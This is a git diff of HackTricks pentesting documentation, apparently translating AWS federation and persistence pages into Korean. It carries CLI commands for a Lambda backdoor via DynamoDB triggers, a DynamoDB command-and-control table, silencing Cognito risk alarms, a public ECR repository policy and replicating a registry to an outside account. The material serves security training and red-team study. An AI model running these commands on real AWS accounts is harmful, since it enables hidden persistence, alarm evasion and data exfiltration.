If you are looking for something **similar** to this but for the **browser** you can check the **extension** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en).
|
||||
브라우저에 대해 이와 **유사한** 것을 찾고 있다면 **확장 프로그램** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)를 확인해 보세요.
|
||||
|
||||
## References
|
||||
|
||||
@@ -384,7 +364,3 @@ If you are looking for something **similar** to this but for the **browser** you
|
||||
- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,84 +4,81 @@
|
||||
|
||||
## SAML
|
||||
|
||||
For info about SAML please check:
|
||||
SAML에 대한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/saml-attacks
|
||||
{{#endref}}
|
||||
|
||||
In order to configure an **Identity Federation through SAML** you just need to provide a **name** and the **metadata XML** containing all the SAML configuration (**endpoints**, **certificate** with public key)
|
||||
**SAML을 통한 Identity Federation**을 구성하려면 **이름**과 모든 SAML 구성(**엔드포인트**, **공개 키가 포함된 인증서**)이 포함된 **메타데이터 XML**을 제공하면 됩니다.
|
||||
|
||||
## OIDC - Github Actions Abuse
|
||||
|
||||
In order to add a github action as Identity provider:
|
||||
|
||||
1. For _Provider type_, select **OpenID Connect**.
|
||||
2. For _Provider URL_, enter `https://token.actions.githubusercontent.com`
|
||||
3. Click on _Get thumbprint_ to get the thumbprint of the provider
|
||||
4. For _Audience_, enter `sts.amazonaws.com`
|
||||
5. Create a **new role** with the **permissions** the github action need and a **trust policy** that trust the provider like:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. Note in the previous policy how only a **branch** from **repository** of an **organization** was authorized with a specific **trigger**.
|
||||
7. The **ARN** of the **role** the github action is going to be able to **impersonate** is going to be the "secret" the github action needs to know, so **store** it inside a **secret** inside an **environment**.
|
||||
8. Finally use a github action to configure the AWS creds to be used by the workflow:
|
||||
Identity provider로 github action을 추가하려면:
|
||||
|
||||
1. _Provider type_에서 **OpenID Connect**를 선택합니다.
|
||||
2. _Provider URL_에 `https://token.actions.githubusercontent.com`를 입력합니다.
|
||||
3. _Get thumbprint_를 클릭하여 provider의 thumbprint를 가져옵니다.
|
||||
4. _Audience_에 `sts.amazonaws.com`을 입력합니다.
|
||||
5. github action이 필요로 하는 **권한**과 provider를 신뢰하는 **신뢰 정책**으로 **새 역할**을 생성합니다:
|
||||
- ```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::0123456789:oidc-provider/token.actions.githubusercontent.com"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"token.actions.githubusercontent.com:sub": [
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:pull_request",
|
||||
"repo:ORG_OR_USER_NAME/REPOSITORY:ref:refs/heads/main"
|
||||
],
|
||||
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
6. 이전 정책에서 특정 **트리거**로 **조직**의 **저장소**에서 **브랜치**만 허용된 것을 주목하세요.
|
||||
7. github action이 **가짜**로 사용할 수 있는 **역할**의 **ARN**은 github action이 알아야 할 "비밀"이므로, **환경** 내의 **비밀**에 저장합니다.
|
||||
8. 마지막으로 github action을 사용하여 워크플로우에서 사용할 AWS 자격 증명을 구성합니다:
|
||||
```yaml
|
||||
name: "test AWS Access"
|
||||
|
||||
# The workflow should only trigger on pull requests to the main branch
|
||||
on:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
# Required to get the ID Token that will be used for OIDC
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
id-token: write
|
||||
contents: read # needed for private repos to checkout
|
||||
|
||||
jobs:
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
aws:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
- name: Configure AWS Credentials
|
||||
uses: aws-actions/configure-aws-credentials@v1
|
||||
with:
|
||||
aws-region: eu-west-1
|
||||
role-to-assume:${{ secrets.READ_ROLE }}
|
||||
role-session-name: OIDCSession
|
||||
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
- run: aws sts get-caller-identity
|
||||
shell: bash
|
||||
```
|
||||
|
||||
## OIDC - EKS Abuse
|
||||
|
||||
## OIDC - EKS 남용
|
||||
```bash
|
||||
# Crate an EKS cluster (~10min)
|
||||
eksctl create cluster --name demo --fargate
|
||||
@@ -91,43 +88,34 @@ eksctl create cluster --name demo --fargate
|
||||
# Create an Identity Provider for an EKS cluster
|
||||
eksctl utils associate-iam-oidc-provider --cluster Testing --approve
|
||||
```
|
||||
|
||||
It's possible to generate **OIDC providers** in an **EKS** cluster simply by setting the **OIDC URL** of the cluster as a **new Open ID Identity provider**. This is a common default policy:
|
||||
|
||||
**EKS** 클러스터에서 **OIDC URL**을 **새 Open ID Identity provider**로 설정하기만 하면 **OIDC providers**를 생성할 수 있습니다. 이는 일반적인 기본 정책입니다:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"Federated": "arn:aws:iam::123456789098:oidc-provider/oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B"
|
||||
},
|
||||
"Action": "sts:AssumeRoleWithWebIdentity",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"oidc.eks.us-east-1.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:aud": "sts.amazonaws.com"
|
||||
}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
이 정책은 **id** `20C159CDF6F2349B68846BEC03BE031B`를 가진 **EKS 클러스터**만 역할을 맡을 수 있음을 올바르게 나타내고 있습니다. 그러나 어떤 서비스 계정이 이를 맡을 수 있는지 명시하지 않기 때문에 **웹 아이덴티티 토큰**이 있는 **모든 서비스 계정**이 역할을 맡을 수 있게 됩니다.
|
||||
|
||||
This policy is correctly indicating than **only** the **EKS cluster** with **id** `20C159CDF6F2349B68846BEC03BE031B` can assume the role. However, it's not indicting which service account can assume it, which means that A**NY service account with a web identity token** is going to be **able to assume** the role.
|
||||
|
||||
In order to specify **which service account should be able to assume the role,** it's needed to specify a **condition** where the **service account name is specified**, such as:
|
||||
|
||||
**어떤 서비스 계정이 역할을 맡을 수 있어야 하는지** 명시하기 위해서는 **서비스 계정 이름이 지정된 조건**을 명시해야 합니다, 예를 들어:
|
||||
```bash
|
||||
"oidc.eks.region-code.amazonaws.com/id/20C159CDF6F2349B68846BEC03BE031B:sub": "system:serviceaccount:default:my-service-account",
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/](https://www.eliasbrange.dev/posts/secure-aws-deploys-from-github-actions-with-oidc/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,20 +2,16 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
These are the permissions you need on each AWS account you want to audit to be able to run all the proposed AWS audit tools:
|
||||
다음은 모든 제안된 AWS 감사 도구를 실행할 수 있도록 감사하려는 각 AWS 계정에서 필요한 권한입니다:
|
||||
|
||||
- The default policy **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- To run [aws_iam_review](https://github.com/carlospolop/aws_iam_review) you also need the permissions:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- Optional if the client generates the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- Optional if the client removes the analyzers for you, but usually it's easier just to ask for this permission)
|
||||
- 기본 정책 **arn:aws:iam::aws:policy/**[**ReadOnlyAccess**](https://us-east-1.console.aws.amazon.com/iam/home#/policies/arn:aws:iam::aws:policy/ReadOnlyAccess)
|
||||
- [aws_iam_review](https://github.com/carlospolop/aws_iam_review)를 실행하려면 다음 권한도 필요합니다:
|
||||
- **access-analyzer:List\***
|
||||
- **access-analyzer:Get\***
|
||||
- **iam:CreateServiceLinkedRole**
|
||||
- **access-analyzer:CreateAnalyzer**
|
||||
- (클라이언트가 분석기를 생성하는 경우 선택 사항이지만, 일반적으로 이 권한을 요청하는 것이 더 쉽습니다)
|
||||
- **access-analyzer:DeleteAnalyzer**
|
||||
- (클라이언트가 분석기를 제거하는 경우 선택 사항이지만, 일반적으로 이 권한을 요청하는 것이 더 쉽습니다)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# AWS - Persistence
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# AWS - 지속성
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
자세한 정보는 다음을 참조하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,25 +12,21 @@ For more information go to:
|
||||
|
||||
### Resource Policy
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
API 게이트웨이의 리소스 정책을 수정하여 자신에게 접근 권한을 부여합니다.
|
||||
|
||||
### Modify Lambda Authorizers
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
모든 엔드포인트에 대한 접근 권한을 부여하기 위해 람다 인증자의 코드를 수정합니다.\
|
||||
또는 인증자의 사용을 제거합니다.
|
||||
|
||||
### IAM Permissions
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
리소스가 IAM 인증자를 사용하는 경우 IAM 권한을 수정하여 자신에게 접근 권한을 부여할 수 있습니다.\
|
||||
또는 인증자의 사용을 제거합니다.
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
API 키가 사용되는 경우, 지속성을 유지하기 위해 이를 유출하거나 새 키를 생성할 수 있습니다.\
|
||||
또는 API 키의 사용을 제거합니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,24 +4,24 @@
|
||||
|
||||
## Cognito
|
||||
|
||||
For more information, access:
|
||||
자세한 정보는 다음을 참조하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### User persistence
|
||||
### 사용자 지속성
|
||||
|
||||
Cognito is a service that allows to give roles to unauthenticated and authenticated users and to control a directory of users. Several different configurations can be altered to maintain some persistence, like:
|
||||
Cognito는 인증되지 않은 사용자와 인증된 사용자에게 역할을 부여하고 사용자 디렉토리를 제어할 수 있는 서비스입니다. 지속성을 유지하기 위해 변경할 수 있는 여러 가지 구성 요소가 있습니다:
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
- **사용자가 제어하는 사용자 풀**을 아이덴티티 풀에 추가
|
||||
- 인증되지 않은 아이덴티티 풀에 **IAM 역할을 부여하고 기본 인증 흐름을 허용**
|
||||
- 공격자가 로그인할 수 있는 경우 **인증된 아이덴티티 풀**에
|
||||
- 주어진 역할의 **권한을 개선**
|
||||
- **속성을 통해 사용자 생성, 검증 및 권한 상승**을 수행하거나 **사용자 풀**에 새로운 사용자 추가
|
||||
- **외부 아이덴티티 제공자**가 사용자 풀 또는 아이덴티티 풀에 로그인할 수 있도록 허용
|
||||
|
||||
Check how to do these actions in
|
||||
이 작업을 수행하는 방법은 다음을 확인하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
@@ -29,18 +29,12 @@ Check how to do these actions in
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
An attacker with this privilege could modify the risk configuration to be able to login as a Cognito user **without having alarms being triggered**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
|
||||
|
||||
이 권한을 가진 공격자는 위험 구성을 수정하여 **알람이 발생하지 않고** Cognito 사용자로 로그인할 수 있습니다. [**CLI를 확인하십시오**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) 모든 옵션을 확인하려면:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
|
||||
By default this is disabled:
|
||||
기본적으로 이것은 비활성화되어 있습니다:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,64 +4,56 @@
|
||||
|
||||
### DynamoDB
|
||||
|
||||
For more information access:
|
||||
자세한 정보는 다음을 참조하십시오:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Using DynamoDB triggers, an attacker can create a **stealthy backdoor** by associating a malicious Lambda function with a table. The Lambda function can be triggered when an item is added, modified, or deleted, allowing the attacker to execute arbitrary code within the AWS account.
|
||||
### Lambda 백도어가 있는 DynamoDB 트리거
|
||||
|
||||
DynamoDB 트리거를 사용하여 공격자는 테이블에 악성 Lambda 함수를 연결하여 **은밀한 백도어**를 생성할 수 있습니다. 항목이 추가, 수정 또는 삭제될 때 Lambda 함수가 트리거되어 공격자가 AWS 계정 내에서 임의의 코드를 실행할 수 있습니다.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
--function-name MaliciousFunction \
|
||||
--runtime nodejs14.x \
|
||||
--role <LAMBDA_ROLE_ARN> \
|
||||
--handler index.handler \
|
||||
--zip-file fileb://malicious_function.zip \
|
||||
--region <region>
|
||||
|
||||
# Associate the Lambda function with the DynamoDB table as a trigger
|
||||
aws dynamodbstreams describe-stream \
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
--table-name TargetTable \
|
||||
--region <region>
|
||||
|
||||
# Note the "StreamArn" from the output
|
||||
aws lambda create-event-source-mapping \
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
--function-name MaliciousFunction \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
지속성을 유지하기 위해 공격자는 DynamoDB 테이블에서 항목을 생성하거나 수정할 수 있으며, 이는 악성 Lambda 함수를 트리거합니다. 이를 통해 공격자는 Lambda 함수와 직접 상호작용하지 않고도 AWS 계정 내에서 코드를 실행할 수 있습니다.
|
||||
|
||||
To maintain persistence, the attacker can create or modify items in the DynamoDB table, which will trigger the malicious Lambda function. This allows the attacker to execute code within the AWS account without direct interaction with the Lambda function.
|
||||
|
||||
### DynamoDB as a C2 Channel
|
||||
|
||||
An attacker can use a DynamoDB table as a **command and control (C2) channel** by creating items containing commands and using compromised instances or Lambda functions to fetch and execute these commands.
|
||||
### DynamoDB를 C2 채널로 사용하기
|
||||
|
||||
공격자는 명령을 포함하는 항목을 생성하고 손상된 인스턴스나 Lambda 함수를 사용하여 이러한 명령을 가져오고 실행함으로써 DynamoDB 테이블을 **명령 및 제어 (C2) 채널**로 사용할 수 있습니다.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
--table-name C2Table \
|
||||
--attribute-definitions AttributeName=CommandId,AttributeType=S \
|
||||
--key-schema AttributeName=CommandId,KeyType=HASH \
|
||||
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
|
||||
--region <region>
|
||||
|
||||
# Insert a command into the table
|
||||
aws dynamodb put-item \
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
--table-name C2Table \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
|
||||
The compromised instances or Lambda functions can periodically check the C2 table for new commands, execute them, and optionally report the results back to the table. This allows the attacker to maintain persistence and control over the compromised resources.
|
||||
손상된 인스턴스나 Lambda 함수는 주기적으로 C2 테이블에서 새로운 명령을 확인하고, 이를 실행하며, 선택적으로 결과를 테이블에 다시 보고할 수 있습니다. 이는 공격자가 손상된 리소스에 대한 지속성과 제어를 유지할 수 있게 합니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,47 +12,43 @@ For more information check:
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
If a defender finds that an **EC2 instance was compromised** he will probably try to **isolate** the **network** of the machine. He could do this with an explicit **Deny NACL** (but NACLs affect the entire subnet), or **changing the security group** not allowing **any kind of inbound or outbound** traffic.
|
||||
수비수가 **EC2 인스턴스가 침해되었다**고 판단하면, 그는 아마도 **네트워크**를 **격리**하려고 할 것입니다. 그는 명시적인 **Deny NACL**을 사용하거나 (하지만 NACL은 전체 서브넷에 영향을 미침), **보안 그룹을 변경하여** **모든 종류의 인바운드 또는 아웃바운드** 트래픽을 허용하지 않을 수 있습니다.
|
||||
|
||||
If the attacker had a **reverse shell originated from the machine**, even if the SG is modified to not allow inboud or outbound traffic, the **connection won't be killed due to** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
공격자가 **기계에서 시작된 리버스 셸**을 가지고 있었다면, SG가 인바운드 또는 아웃바운드 트래픽을 허용하지 않도록 수정되더라도, **연결은** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**로 인해 종료되지 않을 것입니다.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
This service allow to **schedule** the **creation of AMIs and snapshots** and even **share them with other accounts**.\
|
||||
An attacker could configure the **generation of AMIs or snapshots** of all the images or all the volumes **every week** and **share them with his account**.
|
||||
이 서비스는 **AMI 및 스냅샷의 생성**을 **예약**하고 심지어 **다른 계정과 공유**할 수 있게 해줍니다.\
|
||||
공격자는 **모든 이미지 또는 모든 볼륨의 AMI 또는 스냅샷 생성을** **매주** 구성하고 **자신의 계정과 공유**할 수 있습니다.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
It's possible to schedule instances to run daily, weekly or even monthly. An attacker could run a machine with high privileges or interesting access where he could access.
|
||||
인스턴스를 매일, 매주 또는 심지어 매월 실행하도록 예약할 수 있습니다. 공격자는 높은 권한이나 흥미로운 접근이 가능한 기계를 실행할 수 있습니다.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances are **cheaper** than regular instances. An attacker could launch a **small spot fleet request for 5 year** (for example), with **automatic IP** assignment and a **user data** that sends to the attacker **when the spot instance start** and the **IP address** and with a **high privileged IAM role**.
|
||||
스팟 인스턴스는 **정규 인스턴스보다 저렴**합니다. 공격자는 **5년 동안의 작은 스팟 플릿 요청**을 시작할 수 있으며 (예를 들어), **자동 IP** 할당과 **스팟 인스턴스가 시작될 때 공격자에게 전송되는 사용자 데이터**와 **높은 권한의 IAM 역할**을 사용할 수 있습니다.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
An attacker could get access to the instances and backdoor them:
|
||||
공격자는 인스턴스에 접근하여 백도어를 설치할 수 있습니다:
|
||||
|
||||
- Using a traditional **rootkit** for example
|
||||
- Adding a new **public SSH key** (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring the **User Data**
|
||||
- 전통적인 **루트킷** 사용 예
|
||||
- 새로운 **공개 SSH 키** 추가 (check [EC2 privesc options](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- **사용자 데이터**에 백도어 추가
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor the used AMI
|
||||
- Backdoor the User Data
|
||||
- Backdoor the Key Pair
|
||||
- 사용된 AMI에 백도어 추가
|
||||
- 사용자 데이터에 백도어 추가
|
||||
- 키 쌍에 백도어 추가
|
||||
|
||||
### VPN
|
||||
|
||||
Create a VPN so the attacker will be able to connect directly through i to the VPC.
|
||||
공격자가 VPC에 직접 연결할 수 있도록 VPN을 생성합니다.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Create a peering connection between the victim VPC and the attacker VPC so he will be able to access the victim VPC.
|
||||
피해자 VPC와 공격자 VPC 간의 피어링 연결을 생성하여 공격자가 피해자 VPC에 접근할 수 있도록 합니다.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,98 +4,88 @@
|
||||
|
||||
## ECR
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Hidden Docker Image with Malicious Code
|
||||
### 악성 코드가 포함된 숨겨진 Docker 이미지
|
||||
|
||||
An attacker could **upload a Docker image containing malicious code** to an ECR repository and use it to maintain persistence in the target AWS account. The attacker could then deploy the malicious image to various services within the account, such as Amazon ECS or EKS, in a stealthy manner.
|
||||
공격자는 **악성 코드가 포함된 Docker 이미지를** ECR 리포지토리에 업로드하고 이를 사용하여 대상 AWS 계정에서 지속성을 유지할 수 있습니다. 그런 다음 공격자는 Amazon ECS 또는 EKS와 같은 계정 내의 다양한 서비스에 악성 이미지를 은밀하게 배포할 수 있습니다.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Add a policy to a single repository granting yourself (or everybody) access to a repository:
|
||||
### 리포지토리 정책
|
||||
|
||||
리포지토리에 대한 접근 권한을 자신(또는 모든 사람)에게 부여하는 정책을 추가하세요:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note that ECR requires that users have **permission** to make calls to the **`ecr:GetAuthorizationToken`** API through an IAM policy **before they can authenticate** to a registry and push or pull any images from any Amazon ECR repository.
|
||||
> ECR는 사용자가 **인증**을 위해 **`ecr:GetAuthorizationToken`** API를 호출할 수 있는 **권한**을 IAM 정책을 통해 가져야 한다는 점에 유의하십시오. 그래야만 레지스트리에 인증하고 Amazon ECR 리포지토리에서 이미지를 푸시하거나 풀 수 있습니다.
|
||||
|
||||
### Registry Policy & Cross-account Replication
|
||||
### 레지스트리 정책 및 크로스 계정 복제
|
||||
|
||||
It's possible to automatically replicate a registry in an external account configuring cross-account replication, where you need to **indicate the external account** there you want to replicate the registry.
|
||||
크로스 계정 복제를 구성하여 외부 계정에서 레지스트리를 자동으로 복제하는 것이 가능합니다. 여기서 레지스트리를 복제하려는 **외부 계정**을 **지정**해야 합니다.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
First, you need to give the external account access over the registry with a **registry policy** like:
|
||||
|
||||
먼저, 다음과 같은 **레지스트리 정책**을 사용하여 외부 계정에 레지스트리에 대한 액세스를 부여해야 합니다:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
|
||||
Then apply the replication config:
|
||||
|
||||
그런 다음 복제 구성을 적용합니다:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
